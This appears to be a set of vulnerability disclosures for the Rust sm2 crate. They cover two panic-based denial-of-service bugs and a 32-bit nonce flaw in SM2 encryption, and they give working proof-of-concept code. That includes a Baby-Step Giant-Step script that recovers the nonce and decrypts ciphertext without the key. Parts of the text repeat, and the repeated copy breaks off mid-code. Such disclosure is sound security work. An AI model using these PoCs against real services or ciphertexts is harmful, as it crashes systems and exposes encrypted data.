sm2

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
